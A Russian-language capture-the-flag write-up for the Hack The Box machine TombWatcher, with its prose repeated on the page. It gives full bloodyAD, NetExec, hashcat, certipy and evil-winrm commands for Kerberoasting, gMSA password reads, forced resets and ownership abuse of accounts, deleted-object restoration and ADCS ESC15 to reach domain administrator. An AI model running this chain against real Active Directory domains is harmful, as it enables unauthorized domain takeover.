stihl не предоставил(а) никакой дополнительной информации.						
				
			
						
        
    В этом райтапе я расскажу, как эксплуатировать цепочку разрешений DACL для продвижения в домене. Затем восстановим из корзины Active Directory удаленный объект и используем технику ADCS ESC15 для компрометации домена.
Наша цель — получение прав суперпользователя на машине TombWatcher с учебной площадки Для просмотра ссылки Войдиили  Зарегистрируйся. Уровень сложности — средний.
 
10.10.11.72 tombwatcher.htb
Помимо IP-адреса машины, нам предоставляют учетные данные с правами пользователя домена.
Для просмотра ссылки Войдиили  Зарегистрируйся
Первым делом запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
	
	
	
	
	
		
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
		
		
	
	
		
	Результат работы скрипта
Сканер нашел 13 открытых портов:
		
	Результат проверки учетных данных
 
		
	Список пользователей
Сохраняем список пользователей в файл на будущее, после чего собираем базу BloodHound.
или  Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Для сбора базы BloodHound будем использовать Для просмотра ссылки Войдиили  Зарегистрируйся. Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.
		
	Логи RustHound
Данные появятся очень быстро. Скачиваем итоговый архив и строим граф от пользователя henry.
		
	Граф BloodHound
Теперь пройдем по всему пути для получения сессии пользователя john на сервере.
 
или  Зарегистрируйся.
или  Зарегистрируйся».
		
	Запись в атрибут servicePrincipalName
Теперь с помощью NetExec проводим атаку Kerberoasting и получаем хеш пароля учетной записи alfred.
		
	Результат Kerberoasting
Полученный хеш легко брутится утилитой hashcat. Так компрометируем учетную запись alfred.
		
	Результат подбора пароля
В соответствии с графом BloodHound учетная запись alfred имеет право AddSelf на группу INFRASTRUCTURE. Это право позволяет пользователю добавить себя в группу.
		
	Результат добавления в группу
Члены группы INFRASTRUCTURE имеют право ReadGMSAPassword на учетную запись ansible_dev$.
Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля.
Делаем это при помощи bloodyAD.
		
	Получение хеша учетной записи ansible_dev$
Учетная запись ansible_dev$ имеет право ForceChangePassword на учетную запись sam. Как нетрудно догадаться, мы можем установить пользователю sam свой пароль.
		
	Изменение пароля учетной записи
В свою очередь, учетная запись sam имеет право WriteOwner на учетную запись john. Это право позволяет установить объекту владельца, который затем может назначить на объект любые права. Используя bloodyAD, назначим себя владельцем учетной записи, а затем выдадим полные права на объект john.
		
	Установка владельца
		
	Назначение прав
Имея полные права на учетную запись john, можно установить свой пароль.
		
	Изменение пароля учетной записи
Так как пользователь состоит в группе Remote Management Users, можно получить сессию через WinRM.
		
	Флаг пользователя
 
		
	Права записи на объекты домена
Как видно по выводу утилиты, у нас есть права записи на три объекта cert_admin в контейнере Deleted Objects. В этом контейнере хранятся объекты из корзины Active Directory.
 
Восстановить объект можно с помощью bloodyAD. Однако все три объекта имеют одинаковое имя, поэтому восстановлен будет первый из списка.
		
	Восстановление учетной записи
После восстановления учетной записи ее необходимо активировать, а затем установить свой пароль.
		
	Активация учетной записи
		
	Изменение пароля учетной записи
Судя по имени учетной записи, она должна иметь некоторые привилегии на центре сертификации. Для получения информации о центре сертификации и всех шаблонах сперва добавим в файл /etc/hosts имя центра сертификации.
После чего запрашиваем информацию о сертификатах с помощью утилиты Для просмотра ссылки Войдиили  Зарегистрируйся.
Однако ничего интересного не находим, поэтому проверим другие удаленные объекты. На этот раз будем восстанавливать объекты через PowerShell по определенному ID. Но перед восстановлением удалим текущий cert_admin.
	
	
	
	
	
		
Повторяем запрос информации о центре сертификации и шаблонах сертификатов и видим, что можно использовать технику ADCS ESC15 с шаблоном сертификата WebServer для повышения привилегий в домене.
		
	Информация о шаблоне сертификата WebServer
ESC15 (Для просмотра ссылки Войдиили  Зарегистрируйся) позволяет атакующему внедрять произвольные политики приложения в сертификат, выданный на основе шаблона сертификата версии 1. Так, мы можем внедрить политику «Агент запроса сертификата (CRA)», после чего использовать полученный сертификат аналогично технике ESC3.
		
	Запрос сертификата с политикой CRA
Теперь используем полученный CRA-сертификат для запроса сертификата по стандартному шаблону User, но на имя пользователя Administrator.
		
	Запрос сертификата на имя администратора
По сертификату пользователя сперва получим его билет Kerberos, из которого извлечем NTLM-хеш пароля. Certipy делает это автоматически.
		
	Учетные данные администратора
С хешем администратора подключаемся по WinRM и получаем последний флаг.
		
	Флаг рута
Машина захвачена!
	
		
			
		
		
	
				
			Наша цель — получение прав суперпользователя на машине TombWatcher с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.72 tombwatcher.htb
Помимо IP-адреса машины, нам предоставляют учетные данные с правами пользователя домена.
Для просмотра ссылки Войди
Первым делом запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
		Код:
	
	#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
	Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
	Сканер нашел 13 открытых портов:
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
 - 88 — Kerberos;
 - 135 — Microsoft RPC;
 - 139 — служба сеансов NetBIOS, NetLogon;
 - 389 — LDAP;
 - 445 — SMB;
 - 464 — служба смены пароля Kerberos;
 - 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
 - 636 — LDAP с шифрованием SSL или TLS;
 - 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
 - 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
 - 5985 — WinRM;
 - 9389 — веб‑службы AD DS.
 
nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!'
	Точка входа
У нас есть действующая учетная запись в домене, поэтому получим список пользователей. Иногда в описании учетных записей можно найти интересную информацию.nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!' --users
	Сохраняем список пользователей в файл на будущее, после чего собираем базу BloodHound.
Справка: BloodHound
Утилита Для просмотра ссылки ВойдиДля сбора базы BloodHound будем использовать Для просмотра ссылки Войди
rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -i 10.10.11.72 -c All -z
	Данные появятся очень быстро. Скачиваем итоговый архив и строим граф от пользователя henry.
	Теперь пройдем по всему пути для получения сессии пользователя john на сервере.
Продвижение
Учетная запись henry имеет право WriteSPN на учетную запись alfred. Это право позволяет изменить значение атрибута servicePrincipalName и затем произвести атаку Kerberoasting. Записать рандомное значение в атрибут можно с помощью Для просмотра ссылки Войдиinfo
Подробнее о технике Kerberoasting читай в статье «Для просмотра ссылки ВойдиbloodyAD --host 10.10.11.72 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object 'ALFRED' servicePrincipalName -v 'test/DC01.tombwatcher.htb'
	Теперь с помощью NetExec проводим атаку Kerberoasting и получаем хеш пароля учетной записи alfred.
faketime -f '+4h' nxc ldap 10.10.11.72 -d 'tombwatcher.htb' -u henry -p 'H3nry_987TGV!' --kerberoasting out.txt
	Полученный хеш легко брутится утилитой hashcat. Так компрометируем учетную запись alfred.
hashcat -m 13100 hash.txt rockyou.txt
	В соответствии с графом BloodHound учетная запись alfred имеет право AddSelf на группу INFRASTRUCTURE. Это право позволяет пользователю добавить себя в группу.
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u alfred -p 'basketball' add groupMember INFRASTRUCTURE alfred
	Члены группы INFRASTRUCTURE имеют право ReadGMSAPassword на учетную запись ansible_dev$.
Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика.
Справка: MSA
Основная идея MSA — в том, что паролем полностью управляет Active Directory. Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля.
Делаем это при помощи bloodyAD.
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u alfred -p 'basketball' get object 'ansible_dev$' --attr msDS-ManagedPassword
	Учетная запись ansible_dev$ имеет право ForceChangePassword на учетную запись sam. Как нетрудно догадаться, мы можем установить пользователю sam свой пароль.
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u 'ansible_dev$' -p ':4b21348ca4a9edff9689cdf75cbda439' set password SAM 'P@ssword123'
	В свою очередь, учетная запись sam имеет право WriteOwner на учетную запись john. Это право позволяет установить объекту владельца, который затем может назначить на объект любые права. Используя bloodyAD, назначим себя владельцем учетной записи, а затем выдадим полные права на объект john.
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u sam -p 'P@ssword123' set owner JOHN sam
	bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u sam -p 'P@ssword123' add genericAll JOHN sam
	Имея полные права на учетную запись john, можно установить свой пароль.
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u sam -p 'P@ssword123' set password JOHN 'P@ssword123'
	Так как пользователь состоит в группе Remote Management Users, можно получить сессию через WinRM.
evil-winrm -i 10.10.11.72 -u john -p 'P@ssword123'
	Локальное повышение привилегий
BloodHound ничего интересного не показывает, поэтому поищем права записи на другие объекты или их отдельные атрибуты с помощью bloodyAD.bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123' get writable --include-del
	Как видно по выводу утилиты, у нас есть права записи на три объекта cert_admin в контейнере Deleted Objects. В этом контейнере хранятся объекты из корзины Active Directory.
Корзина Active Directory
Корзина Active Directory выполняет те же функции, что и обычная корзина на компьютере, но только для объектов домена (функция по умолчанию отключена). Когда объект домена удаляется, он не исчезает полностью, а помечается как «удаленный» и перемещается в скрытый контейнер на 180 дней до полного удаления. При этом у объекта сохраняются все свойства, такие как членство в группах, списки ACL, SID History.Восстановить объект можно с помощью bloodyAD. Однако все три объекта имеют одинаковое имя, поэтому восстановлен будет первый из списка.
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123' set restore cert_admin
	После восстановления учетной записи ее необходимо активировать, а затем установить свой пароль.
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123' remove uac cert_admin -f ACCOUNTDISABLE
	bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123'  set password cert_admin 'P@ssword123'
	Судя по имени учетной записи, она должна иметь некоторые привилегии на центре сертификации. Для получения информации о центре сертификации и всех шаблонах сперва добавим в файл /etc/hosts имя центра сертификации.
10.10.11.72 tombwatcher.htb DC01.tombwatcher.htb tombwatcher-CA-1После чего запрашиваем информацию о сертификатах с помощью утилиты Для просмотра ссылки Войди
certipy find -u cert_admin -p 'P@ssword123' -dc-ip 10.10.11.72 -vulnerable -stdoutОднако ничего интересного не находим, поэтому проверим другие удаленные объекты. На этот раз будем восстанавливать объекты через PowerShell по определенному ID. Но перед восстановлением удалим текущий cert_admin.
		Код:
	
	bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u john -p 'P@ssword123' remove object cert_admin
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
	Повторяем запрос информации о центре сертификации и шаблонах сертификатов и видим, что можно использовать технику ADCS ESC15 с шаблоном сертификата WebServer для повышения привилегий в домене.
	ESC15 (Для просмотра ссылки Войди
certipy req -u '[EMAIL]cert_admin@tombwatcher.htb[/EMAIL]' -p 'P@ssword123' -dc-ip '10.10.11.72' -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'
	Теперь используем полученный CRA-сертификат для запроса сертификата по стандартному шаблону User, но на имя пользователя Administrator.
certipy req -u '[EMAIL]cert_admin@tombwatcher.htb[/EMAIL]' -p 'P@ssword123' -dc-ip '10.10.11.72' -ca 'tombwatcher-CA-1' -template 'User' -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'
	По сертификату пользователя сперва получим его билет Kerberos, из которого извлечем NTLM-хеш пароля. Certipy делает это автоматически.
faketime -f '+4h' certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72'
	С хешем администратора подключаемся по WinRM и получаем последний флаг.
evil-winrm -i 10.10.11.72 -u administrator -H f61db423bebe3328d33af26741afe5fc
	Машина захвачена!
